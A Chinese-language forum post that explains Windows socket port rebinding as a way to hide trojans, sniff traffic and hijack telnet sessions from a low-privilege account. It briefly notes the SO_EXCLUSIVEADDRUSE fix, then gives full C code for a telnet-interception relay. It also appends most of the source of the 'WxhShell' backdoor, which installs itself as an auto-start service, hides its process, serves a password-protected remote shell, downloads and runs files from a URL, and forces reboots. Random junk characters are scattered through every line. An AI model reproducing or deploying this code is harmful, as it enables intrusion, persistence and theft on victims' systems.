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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sCrOdJ6|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 81jVjf?`  
.KeZZLH  
  saddr.sin_family = AF_INET; i"Z  
Smc=-M}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c7R<5f  
?P>3~3 B  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); eY'< UO  
u301xc,N<z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fFiFS\''V  
='z4bU  
  这意味着什么?意味着可以进行如下的攻击: umJ!j&(  
41oXOB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Op>l~{{{  
+>*! 3x+sE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zxhE9 [`*e  
/Y_)dz^@  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yR'%UpaE  
s-lNpOi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Xub<U>e;b  
(_.0g}2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E#A%aLp0E  
_7=LSf,9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 mYRsM s  
vDit&Lh{T  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2^f6@;=M  
*{fL t  
  #include 'OjsV$_  
  #include )wdTs>W7  
  #include 2b89th  
  #include    E Z+L'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -RKqbfmi=  
  int main() U_.9H _G  
  { o4F?Rx,L  
  WORD wVersionRequested; Bh0hUE  
  DWORD ret; FzM<0FJRX  
  WSADATA wsaData; <Y"h2#M"  
  BOOL val; glI4Jb_[  
  SOCKADDR_IN saddr; s1kG:h2|$  
  SOCKADDR_IN scaddr; 6U(M HxY  
  int err; qC:QY6g$N  
  SOCKET s; W^8MsdM  
  SOCKET sc; ^=.QQo||B  
  int caddsize; =,w(D~ps  
  HANDLE mt; bZf}m=C!  
  DWORD tid;   efUa[XO  
  wVersionRequested = MAKEWORD( 2, 2 );  {,Z-GJ  
  err = WSAStartup( wVersionRequested, &wsaData ); TRzL":  
  if ( err != 0 ) { $z \H*  
  printf("error!WSAStartup failed!\n"); + rN&@}Jt.  
  return -1; ~Kiu " g  
  } 2R=Fc@MXs  
  saddr.sin_family = AF_INET; < ?{ic2j#  
   /O {iL:`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'J1!P:tJ  
3D^!U}E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mnm 7{?#[  
  saddr.sin_port = htons(23); 1ww#]p`1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mi'3ibCG  
  { ~/m=Q<cV  
  printf("error!socket failed!\n"); dW#T1mB  
  return -1; Mo4k6@ht_  
  } D@?Tq,= [  
  val = TRUE; ApSzkPv*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^jB17z[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZgI?#e  
  { efX iZ  
  printf("error!setsockopt failed!\n"); kT12  
  return -1; p"tCMB  
  } Ra)AQ n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _/[}PQC6G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 S17 c#6vT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^_5t5>  
d]r?mnN W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MiN|u  
  { kR/Etm5_  
  ret=GetLastError(); 3;Y 9<  
  printf("error!bind failed!\n"); @|6#]&v`  
  return -1; F\Q X=n  
  } t`Lh(`  
  listen(s,2); 7N4)T'B  
  while(1) 5=hMTztf!!  
  { n"g)hu^B  
  caddsize = sizeof(scaddr); ~v|NC([(  
  //接受连接请求 -I'Jm=q3]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kA4bv}  
  if(sc!=INVALID_SOCKET) 1Rd2Xb  
  { .8]buM5_G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); . /@C  
  if(mt==NULL) YMr2Dv\y  
  { _h^er+d!_  
  printf("Thread Creat Failed!\n"); ';zS0Yk  
  break; # ~(lY}  
  } %@MO5#)NI  
  } TW~%1G_v  
  CloseHandle(mt); /H~]5JZ3-E  
  } lEXI<b'2  
  closesocket(s); 2e^6Od!Y?  
  WSACleanup(); _ZHDr[  
  return 0; GAU7w"sE  
  }   c@|f'V4  
  DWORD WINAPI ClientThread(LPVOID lpParam) )zAATBb4.  
  { &hu3A)%  
  SOCKET ss = (SOCKET)lpParam; moCr4*jDX,  
  SOCKET sc; 6(8zt"E  
  unsigned char buf[4096]; ["0DXm%t  
  SOCKADDR_IN saddr; +N2R'Phv  
  long num; `b*x}HP$  
  DWORD val; L2> )HG  
  DWORD ret; ]=G  dAW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 w:h([q4X  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MHQM'  
  saddr.sin_family = AF_INET; ZfVw33z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OfPv'rW{x  
  saddr.sin_port = htons(23); u3C0!{v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o-+H-  
  { AB=Wj*f r  
  printf("error!socket failed!\n"); QP7N#mh  
  return -1; G]RFGwGt  
  } -7u_\XFk  
  val = 100; yW@YW_2;4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ S)p{T5G  
  { #3}!Q0   
  ret = GetLastError(); yi:1cLq2  
  return -1; O &}`R5Y;  
  } *0/%R{+S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) YJB/*SV^  
  { siz:YRur  
  ret = GetLastError(); (sp{.bU  
  return -1; ;7U"wI_~c  
  } ![ @i+hl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ks7id[~&iY  
  { $ E-c%-  
  printf("error!socket connect failed!\n"); [B@R(z=H  
  closesocket(sc); iD) P6"  
  closesocket(ss); g:2\S=  
  return -1; &I7T ?  
  } 1xjw=  
  while(1) nJR(lXWO  
  { u85?f  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f"Kl? IN8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6yK"g7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~F13}is  
  num = recv(ss,buf,4096,0); %9b TfX"  
  if(num>0) !~`aEF3  
  send(sc,buf,num,0); {nH*Wu*^  
  else if(num==0) xG:7AGZ$[  
  break; oH1]-Nl$  
  num = recv(sc,buf,4096,0); [[ uZCKi  
  if(num>0) UUEbtZH;  
  send(ss,buf,num,0); IPk"{T3  
  else if(num==0) \4Z"s[8}  
  break; EfqC_,J*3  
  } C^ZD Uj`  
  closesocket(ss); &uXu$)IZ  
  closesocket(sc); ofuQ`g1hb  
  return 0 ; UQO?hZ!y/.  
  } }*,z~y}V#  
5!qLJmd=  
7-MyiCt  
========================================================== kk ZMoK  
bYwe/sR  
下边附上一个代码,,WXhSHELL _Kg"l5?B  
"#]V^Rzxh  
========================================================== So]O`RJv  
qb KcI+)47  
#include "stdafx.h" YJ{_%z|U  
ESi-'R&  
#include <stdio.h> mhMRY9ahB  
#include <string.h> zv~b-Tp  
#include <windows.h> xPMX\aI|l  
#include <winsock2.h> @] 3`S  
#include <winsvc.h> LX7<+`aa  
#include <urlmon.h> Am=O-; b'8  
I 8 Ls_$[  
#pragma comment (lib, "Ws2_32.lib") Hr/Q?7g  
#pragma comment (lib, "urlmon.lib") `q+Ug  
\4n9m  
#define MAX_USER   100 // 最大客户端连接数 lFD/hz7lc  
#define BUF_SOCK   200 // sock buffer 0RP{_1k  
#define KEY_BUFF   255 // 输入 buffer {}tv(8]^  
vjd;*ORB  
#define REBOOT     0   // 重启 [t"#4[  
#define SHUTDOWN   1   // 关机 )w0K2&)A  
r-ljT<f%J[  
#define DEF_PORT   5000 // 监听端口 VE*& t>I  
YLid2aF  
#define REG_LEN     16   // 注册表键长度 -9yWf8;  
#define SVC_LEN     80   // NT服务名长度 $}.#0c8I  
' eH Fa  
// 从dll定义API Vm%0436wOY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a]=j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 85#+_}#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .`+N+B(4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {oRR]>  
Gt;U9k|i  
// wxhshell配置信息 m-R`(  
struct WSCFG { yD( v_J*  
  int ws_port;         // 监听端口 p"Q V| `  
  char ws_passstr[REG_LEN]; // 口令 '/@i} digf  
  int ws_autoins;       // 安装标记, 1=yes 0=no ` W{y  
  char ws_regname[REG_LEN]; // 注册表键名 M~-jPY,+  
  char ws_svcname[REG_LEN]; // 服务名 M (.Up  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C[nacAi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T9]:, z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jo ~p#l.'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no A~#w gLGn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -}P/<cu:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dgW/5g  
]-g4C t_V  
}; 'Ug-64f>  
L%fJH_$_s  
// default Wxhshell configuration i~.9 B7hdE  
struct WSCFG wscfg={DEF_PORT, XZ_vbYTj  
    "xuhuanlingzhe", =QW:},sp  
    1, e'&<DE)  
    "Wxhshell", Pql;5 ~/  
    "Wxhshell", RaAvPIJa |  
            "WxhShell Service", 8~vE  
    "Wrsky Windows CmdShell Service", k[/`G5  
    "Please Input Your Password: ", >?ckBU9  
  1, [-w+ACV~  
  "http://www.wrsky.com/wxhshell.exe", ~%u;lr  
  "Wxhshell.exe" *"sDsXo- I  
    }; ="s>lI-1a  
YHI@Cj  
// 消息定义模块 pLsJa?}R  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z>O=. Ku6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;1>)p x**  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *!L it:H  
char *msg_ws_ext="\n\rExit."; Schvwlm~i  
char *msg_ws_end="\n\rQuit."; 7=pJ)4;ZA  
char *msg_ws_boot="\n\rReboot..."; kT4Oal+4  
char *msg_ws_poff="\n\rShutdown..."; a'YK1QX  
char *msg_ws_down="\n\rSave to "; |v= */e  
YE1X*'4  
char *msg_ws_err="\n\rErr!"; Uf<IXx&;  
char *msg_ws_ok="\n\rOK!"; <jtu/U]78|  
I 2*\J)|f  
char ExeFile[MAX_PATH]; Ui05o7xg~p  
int nUser = 0; QxeK-x^  
HANDLE handles[MAX_USER]; }yMA s  
int OsIsNt; n]snD1?KX  
8? &!@3n  
SERVICE_STATUS       serviceStatus; h}f l:J1C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h0Ilxa   
^26}8vt  
// 函数声明 btv.M  
int Install(void); v>p}f"$`  
int Uninstall(void); 17@#"uT0  
int DownloadFile(char *sURL, SOCKET wsh); 5/4q}U3  
int Boot(int flag); :DR}lOi`  
void HideProc(void); QHbjZJ N  
int GetOsVer(void); AOR(1Qyo  
int Wxhshell(SOCKET wsl); E~eSHJ(oR7  
void TalkWithClient(void *cs); p^9u8T4l1  
int CmdShell(SOCKET sock); o 9{~F`{p  
int StartFromService(void); hT[w" &3  
int StartWxhshell(LPSTR lpCmdLine); TW~9<c  
'A#F< x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /|aD,JVN"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %$}* y   
ljw>[wNv  
// 数据结构和表定义 GB` G(a  
SERVICE_TABLE_ENTRY DispatchTable[] = av4g/7=  
{ ip2BvN&  
{wscfg.ws_svcname, NTServiceMain}, |-.r9;-b  
{NULL, NULL} E:S (v  
}; kc}&\y  
S$1dXXT  
// 自我安装 2j*o[kAE  
int Install(void) Yp8GW1@  
{ [Z{0|NR  
  char svExeFile[MAX_PATH]; qo5WZ be  
  HKEY key; J G3#(DVc;  
  strcpy(svExeFile,ExeFile); ~6O<5@k  
,[|4{qli\  
// 如果是win9x系统,修改注册表设为自启动 dEWI8Q]  
if(!OsIsNt) { br_D Orq|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G5'HrV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yfCdK-9+B  
  RegCloseKey(key); <jHo2U8/"s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~91) DNaE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XonI   
  RegCloseKey(key); B3-;]6  
  return 0; DXc3u^ L  
    } !%Qm{R  
  } &kNJ s{  
} :/941?%M  
else { 1 8kzR6(W  
0ntf%#2{  
// 如果是NT以上系统,安装为系统服务 ;PF!=8dW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3v7*@(y  
if (schSCManager!=0) H3qM8_GUA  
{ o@blvW<v7  
  SC_HANDLE schService = CreateService C J#1j>  
  ( ^E`SR6_cmj  
  schSCManager, 9#ZR0t.cY  
  wscfg.ws_svcname, Ph|\%P`>%  
  wscfg.ws_svcdisp, Y> f 6  
  SERVICE_ALL_ACCESS, C6cEt5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BaUcmF2Q  
  SERVICE_AUTO_START, B|(M xR6m  
  SERVICE_ERROR_NORMAL, cR"?EQ] `N  
  svExeFile, wSd o 7Lb  
  NULL, #JIh-h@  
  NULL, Fi_JF;  
  NULL, ?5MOp  
  NULL, IW-lC{hK  
  NULL +-+%6O<C  
  ); =&xN dc  
  if (schService!=0) yttIA/  
  { tf_<w?~  
  CloseServiceHandle(schService); J'no{3Kt z  
  CloseServiceHandle(schSCManager); ^YwTO/Q|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |Wzdu2T  
  strcat(svExeFile,wscfg.ws_svcname); ^E349c-|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j65qIw_Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j`pX2S  
  RegCloseKey(key); :q,tmk h  
  return 0; gS$?#!f  
    } R@Kzdeo  
  } 2%*mL98WK  
  CloseServiceHandle(schSCManager); >V1v.JH  
} {e'V^l.v  
} +ZK12D}  
lay)I11- >  
return 1; cas5  
} I# U"DwM  
\>@QJ  
// 自我卸载 c1L0#L/F6"  
int Uninstall(void) oz[: T3oE>  
{ `bx}!;{lx  
  HKEY key; 6o!Y^^/U  
V'jvI  
if(!OsIsNt) { rS^+y{7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]E!b&  
  RegDeleteValue(key,wscfg.ws_regname); ytg' {)  
  RegCloseKey(key); c mI&R(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !<2%N3l  
  RegDeleteValue(key,wscfg.ws_regname); Mp`2[S@$  
  RegCloseKey(key); Wz]ny3K[.  
  return 0; 89 6oz>  
  } N(@B3%H2/J  
} / >q?H)6  
} D?:AHj%gW  
else { sF+Bu'9A  
qkk!1W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _bm8m4Lk  
if (schSCManager!=0) O${B)C,  
{ suP/I?4'@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1?}5.*j<  
  if (schService!=0) 1P[[PvkD6  
  { XFv)]_G  
  if(DeleteService(schService)!=0) { ,q|;`?R;  
  CloseServiceHandle(schService); e0; KmQjG  
  CloseServiceHandle(schSCManager); SZ'2/#R>  
  return 0; WQ>y;fi5/{  
  } U 3UDA  
  CloseServiceHandle(schService); ?1kXV n$  
  } xYUC|c1Q9  
  CloseServiceHandle(schSCManager); XzF-g*e  
} OPtFz6   
} YLVZ]fN=>  
 wq@{85  
return 1; K.T.?ug;:  
} GjD^\d/  
i SD?y#  
// 从指定url下载文件 )J<VDO:_YA  
int DownloadFile(char *sURL, SOCKET wsh) l k?@ =U~  
{ 7)U08"  
  HRESULT hr; ?7]UbtW[  
char seps[]= "/"; `: R7j f  
char *token; wYLi4jYm  
char *file; w#Di  
char myURL[MAX_PATH]; `BOG e;pl  
char myFILE[MAX_PATH]; z&a>cjt_;  
n#Y=y#  
strcpy(myURL,sURL); %{*A@jQsg  
  token=strtok(myURL,seps); $pLJtQ  
  while(token!=NULL) z:7 i@m  
  { e!hy,O{Pw  
    file=token; o$%I{}9x  
  token=strtok(NULL,seps); P/e6b .M  
  } gXP)YN  
aR0'$*3E  
GetCurrentDirectory(MAX_PATH,myFILE); FT$Z8  
strcat(myFILE, "\\"); 7i@vj7K  
strcat(myFILE, file); Z| f~   
  send(wsh,myFILE,strlen(myFILE),0); '1r<g\ l  
send(wsh,"...",3,0); +IkL=/';#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )] C"r_  
  if(hr==S_OK) io1hUZ  
return 0; AwQ7Oz|(  
else }S_#*N)i  
return 1; zY^QZceq"  
X]T&kdQ6q  
} (- QvlpZ  
31> $;"  
// 系统电源模块 \lBY4j+;  
int Boot(int flag) ]XS[\qo  
{  3 UX/  
  HANDLE hToken; )@,zG(t5;  
  TOKEN_PRIVILEGES tkp; qwomc28O  
>o_cf*nx  
  if(OsIsNt) { /nas~{B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r;C BA'Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &hco3HfW  
    tkp.PrivilegeCount = 1; (aTpBXGr=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n=8DC&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XK=-$2n  
if(flag==REBOOT) { ,}jey72/k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 76BA1x+G  
  return 0; c*c 8S~6  
} C >gC 99  
else { x3L0;:Fx8P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .2v)x  
  return 0; *<"#1H/q  
} GJo`9  
  } oT}-i [=}  
  else { wk[4Qsk<  
if(flag==REBOOT) { hqwDlapTt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p1`") $  
  return 0; ?Zv>4+Y'  
} > %B7/l$  
else { X7Z=@d(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lV ra&5  
  return 0; :|PI_ $4H  
} .wvgH i  
} $z[r (a^a  
kX8Ey  
return 1; L+N;mI8  
} ,\^RyHg  
uJ9 hU`h  
// win9x进程隐藏模块 4ynGXJmMlR  
void HideProc(void) ^9`S`Bhp  
{ 9tBE=L=  
(D~NW*,9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <Dq7^,}#  
  if ( hKernel != NULL ) W'3~vQF  
  { 9>7w1G#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t}x^*I$*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mVVL[z2+  
    FreeLibrary(hKernel); sOb=+u$$9  
  } m(rd\3d  
&++tp5  
return; trm-&e7q?;  
} G+V?c1Me  
^w6~?'}  
// 获取操作系统版本 m&{%6  
int GetOsVer(void) A=bBI>GEYP  
{ {O"N2W  
  OSVERSIONINFO winfo; oF {u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -(1GmU5v(  
  GetVersionEx(&winfo); D9/PVd&#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OkfnxknZ|  
  return 1; qku}cWD9/_  
  else t^5xq8w8  
  return 0; ;oGpB#[zO  
} T'${*NVn  
>4iVVs  
// 客户端句柄模块 fj:q_P67o  
int Wxhshell(SOCKET wsl) dSPye z  
{ Uf\,U8UB  
  SOCKET wsh; \@F~4,VT  
  struct sockaddr_in client; u81@vEK:_  
  DWORD myID; e{E8_2d  
("txj[v-/  
  while(nUser<MAX_USER) >(BAIjF E\  
{ :/~TV   
  int nSize=sizeof(client); Qf.]Mw?Bm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uB>OS 1=  
  if(wsh==INVALID_SOCKET) return 1; [iGL~RiXtn  
.g8db d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :=e"D;5  
if(handles[nUser]==0) _,bDv`>Ra  
  closesocket(wsh); C<yjGt VD  
else G^&P'*  
  nUser++; ?CSv;:  
  } cu )w6!f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wq = Ef  
V8}jFib  
  return 0; {2=f,,|+f  
} i&Xjbcbp  
t~kh?u].j  
// 关闭 socket 'H8;(Rw  
void CloseIt(SOCKET wsh) }zy h!  
{ LyNLz m5  
closesocket(wsh); 7x//4G   
nUser--; k r ga!,I  
ExitThread(0); bD4aSubN  
} .)[0yW&  
. l-eJ  
// 客户端请求句柄 [/GCy0jk  
void TalkWithClient(void *cs) n?}7vz;  
{ :e!3-#H  
 @s7wKk  
  SOCKET wsh=(SOCKET)cs; j:P(,M[  
  char pwd[SVC_LEN]; @G?R (  
  char cmd[KEY_BUFF]; DTo P|P  
char chr[1]; 2 i97  
int i,j; <}('w/  
b/6!>qMMk%  
  while (nUser < MAX_USER) { #iVr @|,  
ePscSMx&  
if(wscfg.ws_passstr) {  kAnK1W>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .~7:o.BE`n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rg\D-F6:  
  //ZeroMemory(pwd,KEY_BUFF); |}D5q| d@n  
      i=0; v]c+|nRs  
  while(i<SVC_LEN) { I08W I u  
u`Abko<D  
  // 设置超时 ':#DROe!  
  fd_set FdRead; :)DvZxHE@  
  struct timeval TimeOut; ^ RIWW0  
  FD_ZERO(&FdRead); S:{`eDk\A_  
  FD_SET(wsh,&FdRead); kj/v$m  
  TimeOut.tv_sec=8; >bbvQb +j  
  TimeOut.tv_usec=0; P&5kO;ia  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I~) A!vp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n# "N"6s  
PsO>&Te2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3e ?J#;  
  pwd=chr[0]; g66x;2Q  
  if(chr[0]==0xd || chr[0]==0xa) { EWK?vs  
  pwd=0; Zr|z!S?aSC  
  break; &h'NC%"v  
  } M~P h/  
  i++; 5nS}h76mZ  
    } P]<15l  
DT[WO_=  
  // 如果是非法用户,关闭 socket o|Kd\<rY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bA02)?L  
} \%Lj !\  
pz ~REsx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Hd89./v`:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mt\.?V:  
`9mc+  
while(1) { 3_N1y  
wOn*QO[  
  ZeroMemory(cmd,KEY_BUFF); }dpE>  
0s .X  
      // 自动支持客户端 telnet标准   1BOv|xPjZ  
  j=0; EFz Pt?l  
  while(j<KEY_BUFF) { =i:,")W7=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ 9 k5a  
  cmd[j]=chr[0]; 8c5=Px2\  
  if(chr[0]==0xa || chr[0]==0xd) { fR#W#n#m  
  cmd[j]=0; 6wH:jd9,  
  break; U$ Od)  
  } o(eh.  
  j++; NuR3]Ja\0  
    } tOxTiaa=  
04#<qd&ob@  
  // 下载文件 Tl L\&n.$  
  if(strstr(cmd,"http://")) { j|%>NB ):  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3,)[Q?nKD  
  if(DownloadFile(cmd,wsh)) lQ!(l Ph  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ugH2jiB  
  else Y lhKP;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bA\(oD+:  
  } xwa@h}\#  
  else { W<T Ui51Y  
u-@;Q<v$  
    switch(cmd[0]) { NS){D7T  
  z C 7b  
  // 帮助 7}puj%JS /  
  case '?': { GsU.Lkf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bwe)_<c  
    break; 9v?rNJs  
  } }#phNn6  
  // 安装 TF~cDn  
  case 'i': { :4[_&]H  
    if(Install()) Qt.|YB8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |>Pz#DCy  
    else ZDx1v_xr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7[:?VXQ  
    break; l._g[qa  
    } =4 NKXP~C  
  // 卸载 $J=`fx  
  case 'r': { <z8z\4Hz  
    if(Uninstall()) Qq3>Xv <  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T$1(6<:+.  
    else -FQc_k?VF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iHeu<3O  
    break; :;KQ]<  
    } wQ?Z y;/S  
  // 显示 wxhshell 所在路径 2Ws'3Jz  
  case 'p': { }fL ]}&  
    char svExeFile[MAX_PATH]; H $mZ?  
    strcpy(svExeFile,"\n\r"); ~toR)=Yv  
      strcat(svExeFile,ExeFile); <4P.B?-/t  
        send(wsh,svExeFile,strlen(svExeFile),0); C=(~[Y  
    break; ";TqYk=-  
    } wowWq\euY  
  // 重启 ? kCo/sW  
  case 'b': { TecWv@.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?KG4Z  
    if(Boot(REBOOT)) ~(]'ah,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Au"BDP  
    else { TGuCIc0B{  
    closesocket(wsh); t(1gJZs>kX  
    ExitThread(0); 00pe4^U  
    } x\8gb#8  
    break; zQoJ8i>  
    } R~BFZF>:  
  // 关机 \ESNfL5  
  case 'd': { 5MK.>3fE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y\Wp} }  
    if(Boot(SHUTDOWN)) .t.4y. 97  
